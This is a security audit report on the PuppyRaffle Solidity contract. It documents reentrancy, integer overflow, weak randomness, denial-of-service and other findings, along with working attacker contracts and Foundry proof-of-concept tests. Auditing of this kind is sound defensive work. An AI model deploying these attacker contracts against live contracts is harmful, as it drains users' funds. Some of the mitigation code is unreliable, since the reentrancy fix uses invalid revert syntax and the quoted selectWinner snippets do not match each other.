PuppyRaffle Audit Report

Prepared by: Uddercover

Table of Contents

Protocol Summary

PuppyRaffle protocol hosts raffles that users can enter and potentially win cash prizes and NFTs. Only one winner can be selected per raffle and they are automatically sent their winnings when they are selected. To enter a raffle, users have to pay an entrance fee a percentage of which contributes to the winner's pot. The owner of the protocol collects a percentage of the fees for themself, which can later be withdrawn to a target address.

Disclaimer

Uddercover makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by them is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
└── PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Auditing this codebase was a wonderful learning experience.

Issues found

Severity	Number of issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

Highs

[H-1] The `PuppyRaffle::refund` function allows reentrancy, this could potentially cause loss of all the funds held in the raffle contract

Description: The `PuppyRaffle::refund` function is implented in a way that a user could repeatedly call it without triggering the code meant to reset their refund value. This means they would continue to get multiple refunds in the same transaction until they are satisfied.

Impact: A user could collect multiple refunds when they should only be able to collect once. This would lead to a massive loss of funds for the protocol and by extension, the potential winner of the raffle.

Proof of Concept:

1. Users enter the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

Proof of Code:
Below is a test showing an attacker draining all the funds from the `puppyRaffle` test contract by calling refund multiple times in the same transaction.

▶ Test Code

```
    function testReentrancy() public {
        address payer = makeAddr("payer");
        vm.deal(payer, 1 ether);

        //Enter multiple players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        //Create attacker contract
        Attacker attacker = new Attacker(address(puppyRaffle));

        //Attacker balance before attack
        uint256 startingAttackerBalance = address(attacker).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

        //Call attack
        vm.prank(payer);
        attacker.attack{value: entranceFee}();

        //Attacker balance after attack
        uint256 endAttackerBalance = address(attacker).balance;
        uint256 endPuppyRaffleBalance = address(puppyRaffle).balance;

        console.log("Starting attacker balance:", startingAttackerBalance);
        console.log("Starting puppy raffle balance:",
startingPuppyRaffleBalance);
        console.log("End attacker balance:", endAttackerBalance);
        console.log("End puppy raffle balance:", endPuppyRaffleBalance);

        assert(endPuppyRaffleBalance == startingAttackerBalance);
        assert(endAttackerBalance == startingPuppyRaffleBalance + entranceFee);
    }
```

▶ Attacker Contract

```
contract Attacker {
    PuppyRaffle private puppyRaffle;
    uint256 private entranceFee;
    uint256 private attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        console.log(msg.sender);
        address[] memory players = new address[](1);
        players[0] = address(this);
        //enter raffle
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        //get player index
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        //call refund
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation:

- Follow a pattern of writing code specifically to prevent reentrancy. The recommended pattern is the Checks before Effects before Interactions (CEI).
- A reentrancy guard library like the openzeppelin reentrancy guard, could be used.
- A boolean check could be made before sending value:

```
+   bool locked;
    .
    .
    .
    function refund(uint256 playerIndex) public {
+       if(locked == true) {
+           revert "PuppyRaffle: Can only refund once";
+       }
+       locked = true;
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       locked = false;
    }
```

[H-2] The state variable `PuppyRaffle::totalFees` could easily overflow when its maximum value is reached. This would cause a massive loss of funds for the protocol.

Description: `PuppyRaffle::totalFees` is defined as a `uint64` which in the context of tracking value, can only hold a relatively small number. In versions of solidity older than `0.8.0`, this means that when the uint has to hold a number bigger than its size, it gets to its maximum number and then simply wraps around to the lowest number it can hold. This is known as an overflow.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: The protocol could lose a large amount of collected fees if this overflow occurs as the require statement in `PuppyRaffle::withdrawFees` would fail.

Proof of Concept:
With the value of `PuppyRaffle::entranceFee` and the maximum value a `uint64` can hold, I deduced that it takes around 95 players for an overflow to happen.

1. Enter 90 addresses into the raffle and select a winner for `totalFees` to be tracked
2. Enter another 5 players and select a winner again
3. The total fees and contract balance should be `entranceFee * 95` but the actual `totalFees` recorded is way smaller
4. The balance of the contract now holds more eth than is tracked by the `PuppyRaffle::totalFees` variable
5. This means the difference cannot be withdrawn as the require statement in `PuppyRaffle::withdrawFees` demands that the two values are strictly equal

```
 require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Below is a test for proving that `totalFees` could potentially overflow

▶ Test code

```
    function testTotalFeesOverflow() public {
          address payer = makeAddr("payer");
          vm.deal(payer, 100 ether);

          //create an array with 90 addresses in it
          address[] memory addresses = new address[](90);
          for (uint256 i = 0; i < 90; i++) {
              addresses[i] = address(i + 10);
          }
          //enter above address array into the raffle
          vm.prank(payer);
          puppyRaffle.enterRaffle{value: entranceFee * 90}(addresses);

          //so totalFees is tracked
          vm.warp(puppyRaffle.raffleDuration() + puppyRaffle.raffleStartTime());
          puppyRaffle.selectWinner();

          //before overflow transaction
          uint64 totalFeesBeforeOverflow = puppyRaffle.totalFees();

          //reset array and add the 5 participants for a total of 19 ether to be collected in fees
          addresses = new address[](5);
          for (uint256 i = 0; i < 5; i++) {
              addresses[i] = address(i + 10);
          }
          vm.prank(payer);
          puppyRaffle.enterRaffle{value: entranceFee * 5}(addresses);

          //overflow transaction
          vm.warp(puppyRaffle.raffleDuration() + puppyRaffle.raffleStartTime());
          puppyRaffle.selectWinner();
```

```
        //after overflow transaction
        uint256 expectedTotalFees = 19 ether;
        uint64 actualTotalFees = puppyRaffle.totalFees();

        console.log("Total fees before overflow transaction: ",
totalFeesBeforeOverflow);
        console.log("After overflow transaction, expected total fees: ",
expectedTotalFees);
        console.log("After overflow transaction, actual total fees: ",
actualTotalFees);
        assert(actualTotalFees < 1 ether);


        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation:

- It is recommended to use newer versions of solidity as they prevent arithemetic overflows by default.

```
-    pragma solidity ^0.7.6;
+    pragma solidity ^0.8.18;
```

- Larger uints should be used for tracking value/funds, preferably `uint256`

```
-    uint64 public totalFees = 0;
+    uint256 public totalFees = 0;
```

- If still using an older solidity version, libraries like Openzeppelin's `SafeMath` could be used for handling arithemetic logic issues such as an overflow. Although this is not a magic bullet and you could still have a hard time with a `uint64`

[H-3] The pseudo-random number generator implementation in `PuppyRaffle::selectWinner` function does not actually return a random number. This means a user could predict the winning index and enter themselves at that index. They could also predict or influence the randomness of the puppy minted.

Description: The line `uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;` in `PuppyRaffle::selectWinner` used in generating the `winnerIndex` does not return an actual random number. Instead, it returns a value that could easily be calculated, meaning that a user could predict the winner before calling `PuppyRaffle::selectWinner` and position themselves to become the winner. In addition, they could also predict or influence the randomness of the puppy minted.

Impact: The winning index used in determining the raffle winner is not random at all. A user could take advantage of this to always win.

Proof of Concept:
Below is a test showing that the implemented pRNG produces an easily predictable "random" number

▶ Test code

```
    function testRandomnessCanBePredicted() public {
        address payer = makeAddr("payer");
        vm.deal(payer, 100 ether);

        //Enter multiple players
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        //Create new attacker contract
        RandomnessAttacker attacker = new
RandomnessAttacker(address(puppyRaffle));

        //This is to get the duration to go by. Could be done live using a tool
like chainlink to call the function immediately the target timestamp is hit
        vm.warp(puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration());

        //Attack
        vm.prank(payer);
        attacker.attackRandomness{value: 100 ether}();

        assert(puppyRaffle.previousWinner() == address(attacker));
    }
```

▶ Attacker contract

```
contract RandomnessAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attackRandomness() public payable {
        uint256 playersLength;
        uint256 winnerIndex;

        //enter a new player to get the players array length
        address[] memory dummyPlayerArray = new address[](1);
        address dummyPlayer = address(10000);
        dummyPlayerArray[0] = dummyPlayer;
        puppyRaffle.enterRaffle{value: entranceFee}(dummyPlayerArray);

        //set players length
        playersLength = puppyRaffle.getActivePlayerIndex(dummyPlayer) + 1;

        winnerIndex =
            uint256(keccak256(abi.encodePacked(address(this), block.timestamp,
block.difficulty))) % playersLength;

        uint256 newPlayersLength = playersLength;

        //this loop determines the required length of newPlayersLength at that
block.timestamp, for winnerIndex to be playersLength
        while (true) {
            winnerIndex = uint256(keccak256(abi.encodePacked(address(this),
block.timestamp, block.difficulty)))
                % newPlayersLength;

            if (winnerIndex == playersLength) break;
            ++newPlayersLength;
        }

        uint256 numPlayersToAdd = newPlayersLength - playersLength;

        address[] memory playersToAdd = new address[](numPlayersToAdd);
        //this index is the current playersLength and the calculated
winnerIndex
        playersToAdd[0] = address(this);

        //adds the remaining addresses necessary for the winnerIndex to be this
contract
        for (uint256 i = 1; i < numPlayersToAdd; ++i) {
            //the 1000 is to prevent duplicates from occuring
            playersToAdd[i] = address(i + 1000);
        }

        //enter the raffle and call selectWinner
        uint256 valueToSend = entranceFee * numPlayersToAdd;
        puppyRaffle.enterRaffle{value: valueToSend}(playersToAdd);
        puppyRaffle.selectWinner();
    }

    receive() external payable {}

    //To allow to receive ERC721
    function onERC721Received(address operator, address from, uint256 tokenId,
bytes calldata data)
        public
        returns (bytes4)
    {
        return this.onERC721Received.selector;
    }
}
```

Recommended Mitigation:
As the blockchain is a deterministic system, any algorithm for generating randomness within it is deterministic as well. The best way of ensuring randomness would be to introduce it into the blockchain using a tool like

- Chainlink VRF

Mediums

[M-1] Looping through the unbounded `PuppyRaffle::players` array for checking duplicates in `PuppyRaffle::enterRaffle` makes the function progressively more expensive to call, opening up a potential for a denial of service(DOS) attack

Description:
The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates whenever a new player tries to enter a raffle. This looping becomes more computationally expensive the bigger the array gets. This means that the gas costs would be significantly lower for the first players that enter a raffle compared to those who enter later, ultimately leading to a point where it becomes very expensive to participate in the raffle at all.

Impact:
If the `PuppyRaffle::players` array gets too big, the gas costs to enter a raffle may discourage more players from participating. It could also lead to a rush for earlier entries and cause a "gas war" where players are willing to pay more to be included earlier.

A malicious player could also take advantage of this to enter themselves multiple times, until it is too expensive for others to enter. Thus increasing their chances of winning the raffle.

Proof of Concept:
Below is a test comparing gas costs of 2 sets of 100 players entering a raffle. The gas costs for the 2nd set of players is approximately 3x more than that of the 1st.

- 1st 100 players: 6250499
- 2nd 100 players: 18068196

▶ PoC

```
    function testDenialOfService() public {
         //Create arrays
         uint16 numPlayers = 100;
         address[] memory arr1 = new address[](numPlayers);
         address[] memory arr2 = new address[](numPlayers);

         //Add addresses to both arrays
         for (uint256 i = 0; i < numPlayers; i++) {
             arr1[i] = address(i);
             arr2[i] = address(i + numPlayers);
         }

         //Payer for paying the entrance fees
         address entranceFeePayer = makeAddr("entranceFeePayer");
         vm.deal(entranceFeePayer, entranceFee * 200);

         //Gas before calling enterRaffle with arr1
```

```
        uint256 gasStartOne = gasleft();

        //Call enterRaffle with `arr1` as argument
        vm.prank(entranceFeePayer);
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(arr1);

        //Gas after calling enterRaffle with arr1
        uint256 gasEndOne = gasleft();

        //Total gas used to call enterRaffle with arr1
        uint256 gasUsedOne = gasStartOne - gasEndOne;
        console.log("Gas used to enter 1st 100 players: ", gasUsedOne);

        //Gas before calling enterRaffle with arr2
        uint256 gasStartTwo = gasleft();

        vm.prank(entranceFeePayer);
        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(arr2);

        //Gas after calling enterRaffle with arr2
        uint256 gasEndTwo = gasleft();

        //Total gas used to call enterRaffle with arr2
        uint256 gasUsedTwo = gasStartTwo - gasEndTwo;
        console.log("Gas used to enter 2nd 100 players: ", gasUsedTwo);

        assert(gasUsedTwo > gasUsedOne);
    }
```

Recommended Mitigation:

- Consider allowing duplicates. A duplicate check does not stop the same user from entering multiple times, only with the same wallet address. They can easily make more addresses.
- Use a mapping for tracking addresses. This way, the entrants can be checked to make sure they haven't entered already, without needing to loop through an array. An easy implementation is presented below.

```
    uint256 public immutable entranceFee;

+@> mapping (address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
.
.
.
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle:
Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from new players
+       for (uint256 i = 0; i < players.length - 1; i++) {
```

```
+           require(addressToRaffleId[players[i]] != raffleId, "PuppyRaffle:
Duplicate player");
+       }
-       for (uint256 i = 0; i < players.length - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
    }
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender,
block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description:
The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact:
The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation:
There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the onus on the winner to claim their prize. (Recommended)

Lows

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description:
If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

~~~
```js
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```
~~~

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations:
The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading an immutable or constant variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```diff
+ uint256 playersLength = players.length;
- for (uint256 i = 0; i < players.length - 1; i++) {
+ for (uint256 i = 0; i < playersLength - 1; i++) {
-    for (uint256 j = i + 1; j < players.length; j++) {
+    for (uint256 j = i + 1; j < playersLength; j++) {
      require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
```

Informational/Non-crits

[I-1] Solidity pragma should be specific, not wide

Description:
Wide pragmas could introduce unknown behaviours that may cause different features to act differently in different solidity versions.

Impact: These unknown behaviours may be negative and lead to disastrous consequences.

Recommended Mitigation:
Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

```diff
+   pragma solidity 0.7.6;
-   pragma solidity ^0.7.6;
```

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendations:

Deploy with any of the following Solidity versions:

```
0.8.18
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

Instances:

- `src/PuppyRaffle.sol` Line: 69

  ```
          feeAddress = _feeAddress;
  ```

- `src/PuppyRaffle.sol` Line: 159

  ```
          previousWinner = winner;
  ```

- `src/PuppyRaffle.sol` Line: 182

  ```
          feeAddress = newFeeAddress;
  ```

[I-4] Does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```diff
-   (bool success,) = winner.call{value: prizePool}("");
-   require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+   (bool success,) = winner.call{value: prizePool}("");
+   require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-7] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```